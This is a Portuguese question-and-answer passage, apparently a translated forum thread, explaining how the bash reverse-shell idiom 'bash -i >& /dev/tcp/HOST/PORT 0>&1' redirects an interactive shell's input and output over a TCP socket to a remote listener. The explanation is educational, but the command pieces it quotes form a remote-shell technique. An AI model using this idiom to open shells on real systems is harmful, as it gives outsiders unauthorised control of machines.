Respostas:
Esse trecho executa uma nova instância interativa do bash ( bash -i), em uma conexão TCP com a porta especificada no host especificado, criado para a duração do processo do bash. A saída padrão e o erro padrão são enviados através desta conexão ( >& /dev/tcp/HOST/PORT) e a entrada padrão é lida através desta conexão ( 0>&1- isso deve ser, 0<&1mas 0>&1também funciona).
Não há encaminhamento de porta em andamento. Obviamente, um servidor TCP de algum tipo deve estar ouvindo e aceitando conexões nesse HOST: PORT, e o firewall deve permitir a conexão.
/dev/tcp/HOST/PORT? Supus que você substituísse um nome por HOSTe um número por PORT. Caso contrário, você receberá uma mensagem de erro do bash. Como você não mencionou nenhuma mensagem de erro, presumo que você não tenha visto uma.
0<&1parte. Eu li como 'pegue o bash stdout ( &1) e coloque-o no bash stdin ( 0)', o que faz sentido. Você pode explicar como esta parte funciona?
0<&1significa conectar o que está aberto no descritor de arquivo 1 ao descritor de arquivo 0. Como o redirecionamento anterior >& /dev/tcp/HOST/PORTconectou o fd 1 (o padrão para um redirecionamento de saída) a /dev/tcp/HOST/PORT, ou seja, abriu um soquete TCP, isso duplica a conexão TCP ao descritor de arquivo 0 (ou seja, o Agora, o mesmo soquete também está aberto no fd 0, diferente de 0 </ dev / tcp / HOST / PORT, que abriria um soquete diferente no mesmo servidor).